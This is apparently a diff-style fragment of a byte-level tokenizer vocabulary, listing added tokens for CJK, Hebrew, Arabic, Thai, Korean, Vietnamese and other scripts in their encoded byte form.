+å«ľ +嫪 +ð¬ĻĤ +ã» +㻬 +麹 +çĴĨ +漦 +åıĩ +墣 +墦 +墡 +åĬIJ +èĸģ +èķ° +èĶĥ +é¼Ĵ +æ§± +é¹Ŀ +ç£ı +ç£ī +殣 +æħŃ +éľħ +æļµ +æļ² +æļ¶ +踦 +踣 +äĹĸ +èĿĺ +èĿ² +èĿ¤ +åĻĩ +åĻĤ +åĻĢ +ç½¶ +å¶² +å¶ĵ +ãłĩ +å¶Ł +å¶Ĵ +éķĨ +éķĪ +éķĭ +éķİ +ð¬Ń© +éķķ +稹 +åĦĩ +çļŀ +çļĽ +ä´ĺ +èīİ +èīı +é¹Ł +ð©¾ĥ +鲦 +鲪 +鲬 +æ©¥ +è§Ń +é¹ł +鹡 +ç³ĩ +ç³Ī +翦 +é¹¢ +é¹£ +çĨĽ +æ½ĸ +æ½µ +ãµ +ãµIJ +æ¾Ĥ +æ¾Ľ +çij¬ +æ½½ +æ½¾ +æ½ı +æĨŃ +æĨķ +𬸣 +æĪŃ +褯 +禤 +ð«į½ +嫽 +éģ¹ +ð¬´Ĭ +çĴ¥ +çĴ² +çĴĴ +æĨĻ +æĵIJ +éĦ¹ +èĸ³ +éŀĶ +é»ĩ +ð¬ŀ +ð¬ŀŁ +èķĹ +èĸ¢ +èķ¹ +æ©ŀ +æ©ij +橦 +éĨij +è§± +磡 +ð¥ķ +ð¥ķ¢ +ç£ľ +è±® +ð«Ł¦ +ð¬ºĪ +ð«łľ +é¹¾ +èϤ +æļ¿ +æĽĮ +æĽĪ +ã¬ļ +è¹ħ +踶 +äĹĽ +èŀĹ +çĸģ +ãłĵ +幪 +𪩠+ðª©ĺ +嶦 +ð¬Ń¬ +ð¨±ij +ð¬Ń¯ +é¦ŀ +ç©Ħ +ç¯ļ +篯 +ç°ī +é¼½ +è¡ł +缦 +èŀ£ +縢 +é²Ń +鲯 +é²° +鲺 +é²¹ +ð«Ĺ´ +亸 +çĻĢ +çĺŃ +𬸦 +ç¾± +ç³Ĵ +çĩĭ +çĨ» +çĩĬ +çĩļ +çĩı +æ¿© +æ¿ĭ +澪 +æ¾½ +æ¾´ +æ¾Ń +æ¾¼ +æĨ· +æĨº +æĩĶ +é»ī +å¬Ľ +鹨 +翯 +ð«Ħ· +çĴ± +𤩽 +çĴ¬ +çĴ® +髽 +æĵ¿ +èĸ¿ +èĸ¸ +æªij +æ«Ĩ +æªŀ +éĨ¨ +ç¹Ħ +磹 +磻 +çŀ« +çŀµ +è¹IJ +èŁı +ãĺ +ãĺİ +ð¬Ń³ +éķ¤ +ð¬Ń¶ +ð«Ķį +éķ¥ +éķ¨ +ð¬Ń¸ +ð¨±Ķ +ð¬Ń¼ +ð«Ķİ +磰 +ç©Ļ +穾 +穣 +ç°ķ +ç°ĥ +ç°ı +åĦ¦ +éŃĭ +æĸ¶ +èīļ +𬸪 +è°¿ +ä²ł +ð¬¶Ł +é²¾ +ð¬¶ł +鲿 +é³ģ +é³Ĥ +é³Ī +é³ī +çᝠ+äĹª +é¦ĺ +è¥ķ +è¥ļ +𬶨 +èŀ± +çĶĵ +嬬 +嬥 +ð¦Ī +ð¦Ī¡ +ð«Ħ¸ +çĵĢ +éĩIJ +鬶 +çĪĩ +éŀ³ +éŀ® +ð¬Łģ +èĹŁ +èŦ +èŨ +é¹² +檫 +黡 +ç¤ŀ +ç¤Į +ð¥ĸ +ð¥ĸ¨ +è¹¢ +è¹ľ +èŁ« +äĹ´ +åļļ +é«ĥ +éķ® +éķ± +éħĤ +馧 +ç°ł +ç°Ŀ +ç°° +鼫 +鼩 +çļ¦ +èĩij +ä²¢ +é³ij +é³Ĵ +é¹± +鹯 +çĻĹ +ð¦Ĵ +ð¦Ĵį +æĹŀ +ç¿· +åĨģ +äİĸ +çĢĶ +çĢį +çĢĮ +è¥ľ +ä´Ļ +ð¬ĻĬ +åļŃ +ã° +ã°Ģ +鬷 +éĨŃ +蹯 +èłĭ +翾 +é³ĺ +åĦ³ +åĦ´ +é¼Ĺ +ð¬¶Ń +ð©¾Į +é³ļ +é³Ľ +éºij +éºĸ +èłĥ +å½Ł +嬿 +é¬Ĵ +èĺĺ +æ¬Ĥ +éĨµ +颥 +çĶĹ +ð¨Ł +ð¨Łł +å·ĩ +éħħ +é«İ +çĬ¨ +𬶮 +ð¨Ń +ð¨Ńī +ã¸Į +çĪĶ +ç̱ +ç̹ +ç̼ +ç̵ +襫 +åŃħ +骦 +ð¬Ļĭ +ḛ̀ +𤫠+ð¤«ī +çĵĸ +é¬ĺ +趯 +ð¬ºĵ +ç½į +é¼± +é³ł +鳡 +é³£ +çĪŁ +çĪļ +çģĪ +éŁĤ +ç³µ +èĺ¼ +礵 +é¹´ +èºĶ +çļŃ +é¾¢ +鳤 +亹 +ç±¥ +é¼· +ð«ļŃ +çİĥ +éĨ¾ +é½ĩ +è§¿ +èł¼ +×§ +פ +׼ +×ķת +ס +×Ļ×Ŀ +צ +×Ĵ +×ĺ +×ķר +×Ŀ +×ķ׾ +×ĸ +à¹Ĥ +ïº +ðŁį +ðŁIJ +×Ļר +ï» +ðŁij +ðĿIJ +ðŁı +ðŁĶ +ðŁĮ +ðŁİ +ðŁĵ +ף +ðĿij +×ķ×ĵ +ï¦ +Ġ×ķ +×ķ×ij +à¸Ńà¸ĩ +ðĿĺ +×Ļת +ðĿķ +à¸Ĺีà¹Ī +ائ +ðŁ¤ +×ķף +رÙĬ +×Ļ׾ +ระ +าย +ï¯ +ï® +าม +âĩ +ðŁ¥ +ïŃ +ðĿĻ +×ķ׳ +á½ +Ġ׼ +ðŁļ +âļ +ï§ +×ijר +×Ļ׳ +á´ +Ġ×Ĺ +á¼ +ðĿĹ +Ġ×¢ +×Ļ×Ķ +ãģ£ãģŁ +ãģĵãģ¨ +Ḡ+ÙĬÙĨ +ãģªãģĦ +اع +ศ +à¹Īà¸ĩ +×Ļ×ĵ +×ŀש +áĪ +׳×Ļ +×Ļ×ij +ï¥ +ðĿĵ +Ġ×Ļ +×ļ +ัà¸ĩ +âĵ +ï¤ +ĠاÙĦØ£ +าà¸ģ +à¹īà¸Ļ +à¹Ģร +×ķ×Ŀ +á¹ +ึ +×Ļ×§ +à¸ĭ +à¸Ħร +à¸ĺ +ัà¸ģ +ðŁķ +ÙĪÙĨ +à¸Ńย +âĬ +ðĿĴ +ĠاÙĦع +าà¸Ļ +×Ļף +ÙĦÙĬ +×Ļש +à¸Ľà¸£à¸° +à¹Ģà¸Ľ +Ġ׳ +×ķס +à¸ł +ÙħÙĨ +×ķ×¢ +×ķ×ŀ +âĮ +ðŁ§ +à¹ĩà¸Ļ +à¸į +ãİ +áµ +ĠاÙĦس +×ķ×§ +หล +ðŁĩ +âı +ðŁ¦ +Ġ×Ķ×ŀ +ÙĪØ§ +Ġת +ר×IJ +à¸Ńà¸Ļ +ษ +à¹Īว +×ķצ +íĹ +ãĦ +ï¨ +ï¹ +âİ +ï² +ðĿļ +ðIJ +à¸Ħว +หà¸Ļ +Ġר +بÙĬ +รà¹Į +را +شر +×ķ×Ĺ +×ķפ +×ķש +×ķ×Ĵ +íĿ +⼠+à¸ķิ +à¹Ģà¸ģ +ï³ +ï± +à¸Ķà¹ī +ë¹ +ï¬ +á¿ +ðŁĽ +ðĿĸ +à¹Īาà¸ĩ +ูà¹ī +Ġ×Ķ×IJ +ĠاÙĦØŃ +פר +ÙĪÙħ +à¹Ģล +íĸ +×Ļ×¢ +ìĪ +íĵ +ðŁħ +áł +à¸Ħวาม +à¸Īะ +׳×Ķ +Ġ×§ +à¸Ł +à¹īà¸ĩ +หม +تÙħ +׾×Ļ +ÙĬد +à¹Īà¸Ļ +×Ĺר +שר +à¹Ģà¸Ĺ +×ŀר +ëĸ +عÙĦ +×ŀ×¢ +â² +׾×Ķ +Ġפ +à¸Ńà¸ģ +سÙĦ +×Ļ×ŀ +ÙĤÙĬ +íİ +تØŃ +×Ļס +×Ļ×Ĺ +íĽ +ï° +â½ +áī +áĬ +ᨠ+Ùĩا +Ġ׾×Ķ +×ķ×IJ +Ùħا +à¹īà¸Ńà¸ĩ +رب +ĠاÙĦج +×ŀ×ĵ +ÙħÙĦ +تر +à¹Ģà¸Ķ +קר +íħ +ì¼ +ê¿ +ãĪ +áIJ +ðŁĹ +ê¦ +áĭ +ðĿĶ +à¹Ģà¸Ľà¹ĩà¸Ļ +à¹ĥห +มา +วà¹Īา +มี +ีà¹ī +à¹Ħมà¹Ī +ÙĨÙĬ +ؤ +รา +×ķ×Ļ +ãĤĪãģĨ +ิà¸Ķ +×Ļפ +×Ĺ׾ +ÙĤد +à¹Ģส +×Ļ×ĺ +à¸ģล +ר׼ +×ķ׼ +×Ļ׼ +ëĪ +ëĥ +ðŁĸ +áħ +â¼ +ãī +à¹Ħà¸Ķà¹ī +ת×Ļ +×Ļ×IJ +ĠاÙĦØ¥ +à¸łà¸² +ริ +ÙĤØ© +ØŃد +ê» +ì± +ת×Ĺ +ìº +âĭ +áĦ +á¾ +âµ +â¾ +ĠÙĪØ§ÙĦ +׳×ķ +ÙĢ +ÙĬا +à¸ģà¹ĩ +×ŀ×Ķ +ãģĦãĤĭ +عد +ĠاÙĦÙĨ +Ġ×Ķש +ئ +ัà¹īà¸ĩ +รัà¸ļ +ÙĪÙĤ +ãģ§ãģį +à¹Ģà¸ŀ +׼׾ +×ĺר +ัà¸Ķ +à¸Ńา +ì¢ +à¸Ńà¸ļ +à¸ķร +à¹Ģà¸Ĭ +ìĶ +ãģĹãģ¾ +ëģ +ëķ +ðŁĻ +âĴ +á¶ +à¹ģล +ÙĨا +à¹ĥหà¹ī +à¹Ħà¸Ľ +×£ +ัว +าà¸ĩ +×ĵר +×ij׾ +פ×Ļ +Ġ×ĵ +ĠاÙĦÙģ +à¹Ģà¸Ĥ +ש×Ķ +×IJר +ë¬ +ãģ«ãģª +ÑĢо +วิ +Ùħر +×IJת +Ùĥر +سب +ÙĨت +ãģĹãģĦ +اج +à¸Ńรà¹Į +ÙĥÙĦ +سÙħ +สิ +×Ļצ +ëĿ +íľ +ìī +áĨ +ÙĩÙħ +à¸Ļีà¹ī +ãģĤãĤĭ +ãģĦãģ¦ +سÙĬ +׾×IJ +در +ãģļ +ÙĪØ¬ +ĠاÙĦØ® +صر +íı +à¹īาà¸ĩ +ุà¸Ķ +×ķ×ĺ +×ij×¢ +íĨ +à¸Ĭา +รม +ש×ŀ +×ŀס +ê´ +ì´ +ëľ +ì¿ +ì© +ë» +⤠+ðŁĨ +áĮ +áķ +ذا +à¸Ĺำ +à¸ķà¹Ī +ĠاÙĦÙĤ +ÙĦÙĥ +ูà¹Ī +à¸Ħุ +ÙĬÙħ +׳×Ļ×Ŀ +ืà¹Īà¸Ń +ÙĪØ¹ +ãĤĩ +اÙĤ +Ġ×ij×¢ +à¹Ģม +جÙħ +ừ +ãģĵãģ¨ãģĮ +بد +×ķ×Ķ +ש׾ +Ùĩر +à¹Ģà¸Ļ +ãģ¹ +íĭ +ì» +ì½ +ëŃ +ìĮ +íĢ +ëĮ +ëº +ãĬ +à¹ĥà¸Ļ +Ġ×Ĵ +à¹Ĩ +à¸Īาà¸ģ +วย +à¹ĥà¸Ĭ +à¸ĩาà¸Ļ +ĠاÙĦØ´ +اØŃ +à¹īาà¸Ļ +ืà¹Īà¸Ńà¸ĩ +×IJ×Ļ +بÙĦ +ã썿ĢĿ +×ł×¡ +ãģ¾ãģĽ +ÙĥÙĨ +ער +ĠاÙĦد +שת +íŀ +Ùħس +صÙĦ +×ķ׳×Ķ +ارة +ÙĦÙħ +สม +Ø£ÙĨ +תר +×IJ×ŀ +عب +خت +ãĤĥ +ì¡ +ì£ +ива +สั +ึà¸ģ +ì¸ +ëĨ +алÑĮн +ì³ +ìį +ê¼ +ê½ +ìı +ãĮ +ãı +ï© +êª +áİ +Ġ×ĸ +à¸ģัà¸Ļ +×Ļ×ķ +à¸Ħà¸Ļ +׳×ķת +à¸ľà¸¹à¹ī +à¹ĥà¸Ī +ãģĦãģŁ +Ù쨱 +×ĺ×Ļ +צ×Ļ +ãĤĤãģ® +ĠاÙĦص +ãģ¾ãģĽãĤĵ +دة +×ij×Ļ +ĠاÙĦر +Ġ×ŀ×IJ +สำ +à¹Ģห +عر +ãģªãģı +à¸ģระ +×ij×ĵ +à¹Ģà¸Ī +×Ļ×ļ +×Ĺ×Ļ +ÙĬع +ש×ij +ÙĨØ© +ÙĪØ¶ +ÙĦÙģ +ÙĢÙĢ +פע +íĪ +×ŀ×§ +à¸IJ +ØŃØ© +اص +Ñĭва +à¸Ħม +วั +à¸Ľà¸¥ +ìŁ +íļ +ë´ +ëij +ëī +ëĩ +ì¨ +ë± +ëİ +⬠+ᥠ+áĹ +ἠ+áį +Å© +à¸Ķี +ôi +Ġס +׾×ķ +á»Ŀi +à¸Ħุà¸ĵ +ây +à¸Ļา +×Ĺ×ĵ +×ĵ×Ļ +หา +جÙĦ +à¹Ģว +ãĤĩãģĨ +ÙħØ© +ĠاÙĦÙĥ +Ġ×Ķ×¢ +جر +×ĸר +اط +×Ľ×ª +×ķ׳×Ļ×Ŀ +ØŃÙħ +ê¶ +رÙĥ +Ġ×ľ×¢ +×ķ×ĸ +สร +צ׾ +Ø¢ +است +à¹Īม +خر +צע +×Ļר×ķת +ادة +شار +×ŀ×Ĺ +íĴ +à¹Ģรีย +×Ĺ×§ +اث +รà¸ĩ +à¹Ģà¸ķ +à¸Īำ +à¸Ŀ +à¹Īาย +à¸Ħล +ÙĤÙĪ +иÑĩеÑģк +à¸ĵà¹Į +ัย +Ùħع +ë¨ +ë¿ +ë® +ï´ +ì¥ +ì« +ëµ +á¡ +âį +ðĵ +â° +à¸Ĥà¸Ńà¸ĩ +Ùĭ +à¸ģัà¸ļ +ãģ®ãģ§ +à¹īว +à¸Ńยà¹Īาà¸ĩ +ãģŃ +á»ĩt +à¸ķà¹īà¸Ńà¸ĩ +×ŀ×Ļ +à¹ģà¸ļ +×Ĵר +ÙĪÙģ +ÙĤÙĦ +à¸łà¸²à¸ŀ +ר×Ļ +ลา +ÙĬس +Ġצ +ÙĬÙģ +Ġ×ĺ +à¸ľà¸¥ +áng +รว +Ġ×ŀש +×IJ×ķת +×ĸ×Ķ +ูà¸ģ +à¸Ļัà¸ģ +اÙĨÙĬ +دا +ãģ³ +׼ף +ãĤīãĤĮ +ãĤĮãģ° +תק +úc +ÙĪØ² +×Ļר×Ķ +Ġngh +ánh +Ġ×ķ×IJ +á»ħ +สุà¸Ķ +ëį° +اض +اÙĦÙĬ +بار +عÙħ +à¸ļา +تج +à¸ŀร +×ķר×Ķ +ảng +Ø®ÙĦ +à¸ī +ắc +ש×Ļ×Ŀ +íĶ +Ù쨳 +×Ļ×Ĵ +пÑĢ +ĠاÙĦØ« +سط +รูà¹ī +ีà¹Īย +à¸Ńà¸Ķ +ãģªãĤĬ +×Ĵ×ĵ +ãģĦãģ¾ãģĹãģŁ +סק +خص +laÅŁ +енно +بØŃ +สà¸Ļ +ฮ +ר×IJש +ÙħÙĪ +دÙĬد +ษา +×ķ×ļ +ãĥ§ãĥ³ +à¸ķุ +Ġêµ +ĠÑģво +צ×ij +à¸Ńม +à¸Ľà¸£ +تع +×Ķת +اÙħÙĦ +×ŀ׳ +ç¶ļ +ฤ +íį +ëĺ +ë¤ +ìij +â´ +ãĭ +ĠباÙĦ +á»ģu +ĠاÙĦÙĦ +à¸ķัว +ذÙĩ +ึà¸ĩ +à¹ĥà¸Ĭà¹ī +á»ĵng +à¸Ļั +มาà¸ģ +ãĥŁ +×ŀ×ķ +à¸Ĺย +á»Ļi +ằ +ảo +à¹Ĥà¸Ķ +×IJ׾ +สาม +ÙĪØ¨ +à¸Ĺุ +ยัà¸ĩ +עת +×ķ׳×ķת +à¸Ĥึ +à¸Ĥึà¹īà¸Ļ +à¸ģà¹Ī +ẫ +á»ijc +ãģĹãĤĩãģĨ +á»ĭch +Ġ×IJ×ķת +Ġש×IJ +׼×ķ׾ +á»Ļc +عة +à¸Ĺี +à¹Ģà¸Ń +Ùĥت +ãģ» +ẻ +ìĹħ +à¸Ńà¸Ńà¸ģ +اÙĨت +à¹Ħร +Ġ×IJ×Ĺר +طر +ÙĨد +ืà¹īà¸Ń +Ø·ÙĦ +×IJ×Ķ +uyên +íĸī +×ij×Ķ +à¸Ħà¹Ī +à¸Ĭà¹Īว +ãģĤãĤĬãģ¾ãģĻ +ÙĬب +ק׾ +ãĥĻ +Ä© +سر +าว +ãĤ± +à¸ļริ +ר×Ĵ +á»ĥu +ØŃت +×ķ×ŀ×Ļ +بÙĨ +êµIJ +ÄŁu +ãģªãĤĵ +×ij×§ +Ġפר +ắn +ØŃÙĦ +×ij×Ĺ +ấu +×ij×ķ×ĵ +ãĥ¯ +Ġ׾ק +ัà¸į +à¸ŀิ +×Ĺ×Ķ +×ĸ׼ +ãĥ¼ãĥł +ÑĤелÑĮ +×ŀ×Ļ×ĵ +ÙĬØ® +ẳ +تص +à¸ĺิ +è¾¼ +ìĵ +ÙĥØ© +ÙĤب +à¸Ħà¹Į +à¹īาย +à¸ĵะ +าะ +ëĴ +ê¾ +ë· +ìĩ +êº +ìģ +ëĢ +ì¾ +ë½ +ëļ +ìŃ +ìİ +áij +ëĹ +êĴ +à¡ +ଠ+ðIJĮ +ãĩ +ðĿĦ +Ġ׾×IJ +ãģ¨ãģĦãģĨ +Ġnhi +×Ļ×ķת +Ġש×Ķ +à¹ģลà¹īว +Æ°á»Ľc +à¸Ķà¹īวย +à¸Ĺาà¸ĩ +×ł×ª +פת +à¹ģà¸ķà¹Ī +ưng +à¸Ńยูà¹Ī +à¹īำ +Ġ×IJ׾ +ÙĥÙħ +ấp +ลà¸ĩ +ãģŁãĤģ +×Ĵ׾ +หร +ĠÑĢе +à¹Ģà¸Ĥà¹īา +ÙĤر +Ġ×Ķס +ÙĪÙĬ +สามาร +สามารà¸ĸ +Äĥn +à¸Ńี +פ×ķ +×Ļ׳×ķ +วัà¸Ļ +ặc +íķĻ +×ŀת +êu +ẹ +ÙģÙĬ +×ŀצ +à¸Ħา +ãģĿãģĨ +ãĢħ +از +اÙĩ +ר×Ļ×Ŀ +ấn +หาร +ạt +ÙĨÙĩ +à¹Ģà¸Ħร +جÙĩ +׼×Ļ +ắt +à¸Ħà¹īา +رة +ãĥı +ÙĥÙĪÙĨ +ứng +Ġìļ° +ยà¹Į +à¹Īวà¸Ļ +à¸ģำ +ثر +Ñģи +ĠاÙĦØ· +Ġ×Ķצ +ĠØ· +ĠاÙĦÙĪ +ê¹Į +ØŃÙĬ +ارات +à¹Ģà¸ĭ +با +гÑĢ +รี +ืà¸Ńà¸Ļ +عت +ÙĤاÙĦ +دÙħ +Ø¡ +Ġ×ŀ×§ +×ĵ×Ļ×Ŀ +×¢×ľ +ãģĴ +ëĭĺ +×¢×Ķ +Ġìĸ´ +ÑģÑĮ +ÙĤØ· +ãĥĽ +èĢĥãģĪ +à¹ģà¸Ļ +ÙĪØ§Øª +âu +ĠìĤ¬ëŀ +หว +ĠاÙĦØ£Ùħ +Ġ×Ķ×ŀש +بÙĪ +à¸Ĭà¸Ļ +ãĤĵãģ§ãģĻ +วà¸Ļ +à¸ģรรม +×ŀ×ķ×ĵ +ÙĥاÙĨ +×ķ×£ +олог +تÙĨ +à¸ķà¹Į +ê²ĥ +ר×ĺ +ừng +×ķ×ij×Ķ +ÙħØŃ +ĠЧ +פ×Ĵ +สà¸ĸ +ãģĭãĤĬ +ınız +à¹Ģย +ãĥ¼ãĥ³ +ãģĬãĤĬ +פש +ิà¸ķ +Ø·ÙĨ +×Ļת×Ļ +×IJ׳ +çek +ìª +×ŀ×ij +ศา +ãĤ¹ãĤ¿ +à¸ļุ +×ĵ×ijר +ãģĦãģı +สะ +à¹Ģหล +ิà¸ĩ +à¸ŀัà¸Ļ +ãģĦãģŁãģł +ãĤĤãĤī +à¹īม +ãģĵãģ¨ãģĮãģ§ãģį +ารà¹Į +ุà¸ĩ +íij +ì¯ +ë¼ +íĤ +ì· +ê¡ +áı +áĴ +ðĿľ +á© +ðŁĦ +ðIJ¤ +Ġש׾ +Ġ×ŀ×Ķ +à¹ģละ +Ġ׼׾ +ẽ +á»Ļng +ذÙĬ +ле +×¥ +ãģªãģ© +ĠÙĪØ£ +หà¸Ļà¹īา +ãģ¾ãģ§ +à¸ķà¹Īà¸Ń +à¸Ĺัà¹īà¸ĩ +ãģłãģij +à¹ģà¸ļà¸ļ +à¹Ģรา +פ׾ +ãģŁãģĦ +à¹Ģลย +ãģ£ãģ¦ãģĦãĤĭ +ếp +ึà¹Īà¸ĩ +ê´Ģ +ê³Ħ +׼×ķ +à¹Ģรืà¹Īà¸Ńà¸ĩ +×§×Ļ +êµŃ +פס +تÙĬ +ãĥĦ +Ġ×Ķ×Ĺ +ги +ר×IJ׾ +×ŀ׾ +ĠØ£ÙĬ +ĠعÙĦÙĬ +ãģĭãģ£ãģŁ +ש×Ļ +дÑĥ +×ŀף +׳×ĺ +׳×Ļת +miÅŁ +׼×Ŀ +Ġ×ijר +Ġ׾×ij +ĠÐĽ +çe +×ķ׳×Ļ +ãĤĪãģĨãģ« +פ×ķר +ãĥį +ÙĥÙĬ +×Ĺת +ÙģÙĦ +Ġ×Ķ×§ +Ġ×Ķ×ij +Ġ×ŀס +à¹Īาà¸Ļ +пеÑĢ +à¹Īาว +Ġ×ij×IJ +ĠÙĪÙĩ +à¸Ļำ +Ġ×ijש +׳ק +ãģ©ãģĨ +ש×ķת +×ĵ×Ķ +à¹Ģà¸ļ +ÙĨس +Ġìļ°ë¦¬ +สà¹Īวà¸Ļ +ลัà¸ĩ +جز +Ġ×Ĺ×Ļ +Ùĥثر +ละ +Ùĩد +ĠÙĪØ¨ +اÙĦÙħ +à¹ģม +Æ¡i +Ġ×ij×Ĺ +ữa +à¹Ģà¸Ĺศ +à¸ķัà¹īà¸ĩ +огда +׾ק +دد +สรà¹īาà¸ĩ +à¸Ĭี +Ù쨶 +à¹ģห +uyá»ĩn +รัà¸ģ +á»ĩm +สา +פק +ียà¸ĩ +à¸ķà¹Īาà¸ĩ +à¸Ħรัà¹īà¸ĩ +ØŃÙĤ +à¹Ģà¸Ńà¸ĩ +ائÙĬ +×ĺ×¢ +اÙĦØ© +ิà¹Īม +ãĤ½ +دÙī +Ġר×IJ +ãģ£ãģ¨ +ãĥĥãĥĹ +ÙĬرة +ê±´ +×ŀ×IJ +×ķ×ķ +بع +ãģ² +ราย +×ĵ×Ŀ +تÙģ +à¸ķà¸ģ +ạng +ãĤĴè¦ĭ +à¸Ĭั +Æ°á»Ł +Æ°á»Łng +جب +×ķ×ŀר +ĠìĤ¬ëŀĮ +óng +รั +Ġ×Ķ×ĸ +רצ +Ġ×Ĺ×ĵ +ذÙĦÙĥ +×ķר×Ļ +ãģ¡ãĤĥ +Ù쨹 +Ġ׾צ +ái +à¹ĩà¸ļ +ãģİ +à¸ģิ +ạc +ë©° +ãģªãĤĭ +×ķ׾×Ŀ +à¹ģà¸Ĺ +×ķ×¥ +меÑĤ +Ã¼ÅŁ +ÑĢÑı +à¸Ĵ +ÑģÑĤоÑı +عÙĪØ¯ +Ùħار +طة +à¸ŀื +кÑĢ +à¹ģà¸ģ +à¹Ĥรà¸ĩ +×ij×Ļ×ĺ +ê²ł +×ķ׾×Ķ +ØŃر +ืà¹Īà¸Ńà¸Ļ +×ķ×ijר +×Ĺש +ãĥķãĤ¡ +×ŀ×ĺ +út +Ġdön +ắng +ëłĩ +ẳng +วà¸ģ +صد +خط +à¸Ńั +ãĤıãĤĮ +سÙĦاÙħ +à¹Ģรà¹ĩ +×Ļש×Ļ +جاÙĦ +ãģijãĤĭ +à¸Ĭาà¸ķิ +ÙĪØ§ÙĤ +à¹Ĥà¸Ļ +ãģ¦ãģĹãģ¾ +اعة +ãĤŃãĥ£ +à¸įา +ÙĦاÙĤ +ิà¸ģ +ĠÑģов +ÑĢак +×Ļ׳×Ļ +Ã¼ÄŁ +Ã¼ÄŁÃ¼ +×§×ij +à¹Īà¸Ńà¸ĩ +Ġgerçek +à¸Ĺั +ованиÑı +×ŀ׼ +سة +×Ļ×£ +leÅŁ +Ùħؤ +ĠìĿĺ +à¸IJาà¸Ļ +ĠÑģоб +ĠêµŃ +עצ +зв +สà¸ĩ +زÙĦ +ãģıãĤĮ +иÑĢÑĥ +تأ +полн +ìĺĢ +ÙĨØ´ +׼×IJ +ÙħØ´ +à¸Ķà¹Į +ÙĪÙĬÙĦ +à¹ģà¸Ĥ +ãģ£ãģ¦ãģĹãģ¾ +ноÑģÑĤ +вл +ÙħÙĤ +راج +å¤ī +ëĽ +⸠+ìIJ +à» +áļ +â» +êĻ +â§ +ðĴ +ðĿĩ +Ġ×IJת +ĠÙĦÙĦ +ĠØ£ÙĨ +Ġ×ķ×Ķ +ãģ«ãģ¯ +Ġ×Ļש +تÙĩ +ÃŃnh +ÙĬات +Ġ×ij×ŀ +à¸Ļัà¹īà¸Ļ +à¸Ļà¹īำ +Ãło +à¸ķาม +ãģ®ãģ¯ +dır +Ġnghi +ặt +×ŀ×Ļ×Ŀ +ãģ¦ãģĦãĤĭ +Ġ×ijת +หรืà¸Ń +ĠسÙĬ +ãģªãĤī +à¹Ĥà¸Ķย +ıyor +à¸Ńีà¸ģ +á»ĩnh +Ñĭм +à¸Ĺุà¸ģ +Ġ׾×Ĺ +Ġ×Ķר +Ġ×Ķ×Ļ +à¸ŀระ +à¹Ģวลา +Ġغ +ẫn +mÄ±ÅŁ +׼×Ķ +á»ijn +ãģ§ãģĹãĤĩãģĨ +ãĥ¢ +à¸Ľà¸µ +ס×Ļ +ãģĵãĤį +Ġ׾פ +รà¸ĸ +ê¸Ī +à¸ģวà¹Īา +무 +á»įng +ãĤĵãģ§ +ãĤĪãģĨãģª +á»ĵi +ãĤ¬ +สà¹Īà¸ĩ +×Ļ׳×Ķ +à¸ĸูà¸ģ +à¸Īัà¸Ķ +Ġ×Ķ×Ĵ +ãĥľ +×ŀ×ķת +ÙĪÙĥ +ëĭ¨ +ĠØ« +ãģ®ãģĮ +à¹Ģหà¹ĩà¸Ļ +عا +à¸Ļิ +Åŀ +à¸Ńะ +ãģĪãĤĭ +Ø«ÙĦ +ØŃÙħد +à¹Ģà¸ģิà¸Ķ +פשר +פ×Ķ +มิ +ئÙĬس +à¸Ĺำà¹ĥหà¹ī +×¢×ĵ +ìĭ¤ +à¸Ĭà¹Īวย +ĠاÙĦÙħÙĨ +زÙĬ +عÙĬ +Ġ׼×IJ +ạnh +ỹ +ãĤĵãģª +สู +צר +Æ°á»Ľng +×ķ×ķ×Ķ +à¹Ĥล +ĠاÙĦÙĩ +วา +หลาย +Ñīе +à¸Ĥà¹īà¸Ń +à¹īà¸Ńย +بط +каÑı +ĠØ¢ +ĠиÑģ +ĠاÙĦغ +à¸ģา +à¸Ļà¹Īา +ÙĬÙĪ +×ij×ķר +á»ħn +วà¸ĩ +×Ļ×ĸ +ì²Ń +ним +룰 +×Ĵ×ķר +صØŃ +ÙĦÙĪ +×Ĺ×ķת +สุ +رÙĬÙĤ +ס×ĺ +Ġ×ŀ×¢ +ãĥĨãĤ£ +à¸Ħิà¸Ķ +ãĤįãģĨ +à¹Ħล +à¸Ļà¹Į +á»ıi +ÑģÑĤÑĢо +สà¸Ķ +สาร +ÙĪÙĦØ© +ầm +รà¹Īว +รà¹Īวม +รุ +ĠاÙĦسÙĬ +ìĺģ +Ġ×ŀ×ij +פ×ĺ +à¸ķิà¸Ķ +×ĺ×Ļ×Ŀ +Ġ무 +ÙĤدÙħ +ĠdÃ¼ÅŁ +ائÙĦ +мÑĭ +ØŃس +ÙĪØµ +×Ļ×§×Ķ +ãģ§ãģ¯ãģªãģĦ +à¹Ģหม +оÑĢÑĤ +íĨµ +ãģIJ +кÑĢа +ียว +عار +ئة +íĥĢ +ãģ«ãģªãĤĬ +جة +ÙĪÙĤع +ÑĮÑı +×ķצ×Ķ +ש×Ŀ +بÙĤ +Ġ×Ļ×Ķ +ÙĬØ· +ımız +деÑĢж +×Ļשר×IJ׾ +غÙĬر +รà¸Ńà¸ĩ +à¹Ģรียà¸Ļ +Ġ×Ķ×ĺ +หมาย +ÙħÙĩ +اÙ쨩 +ĠоÑĢг +ÙĪÙī +ãĥ©ãĤ¤ +×ŀ׳×Ķ +ĠÄijo +ĠгоÑĢ +اÙħØ© +楽 +Ø«ÙĬر +à¸ģิà¸Ī +á»ĵn +ÙĨب +ÑĢÑĥд +ìĹĪ +Ġ×Ĺ×ijר +ÑĢаж +ạch +تÙĪ +à¹Ĥม +×ij×Ļ×ij +ĠíĨµ +acaģı +جÙĦس +à¹Ģà¸Ľà¸¥ +วà¸Ķ +à¸Ńล +ãģŁãĤĬ +à¸Ľà¸±à¸į +ĠìķĮ +عرÙģ +à¹Ħà¸Ł +أخ +å¤ļãģĦ +à¸Ķัà¸ĩ +Ø´Ùģ +ãģ£ãģ¦ãģĦãģ¾ãģĻ +×Ľ×ł×¡ +ÑĨе +еÑģп +ÙħاÙħ +à¸ŀืà¹īà¸Ļ +иÑĩеÑģки +خد +ÙĥÙĪÙħ +Ġ×Ķר×IJש +تاب +é£Łãģ¹ +ืà¸Ļ +оÑĢо +Ġböl +×ķ×Ĺ×ĵ +دÙĬر +ắm +دع +ãģķãģĽ +à¸ĺร +à¸ĺรรม +ãģĭãĤĤ +å¤ļãģı +rä +سع +×Ļ׾×Ķ +ضر +ĠاÙĦشر +×ĸ×ķר +×¢×ijר +ạm +алÑĮно +رÙĨ +اÙħج +׼×ļ +dıģ +ден +ضا +ÙĦÙĬÙħ +Ġê·¸ëŁ¬ +تÙħاع +ارÙĬØ® +à¹Ĥà¸ķ +ĠÑģÑĢед +Ġ׳×ķס 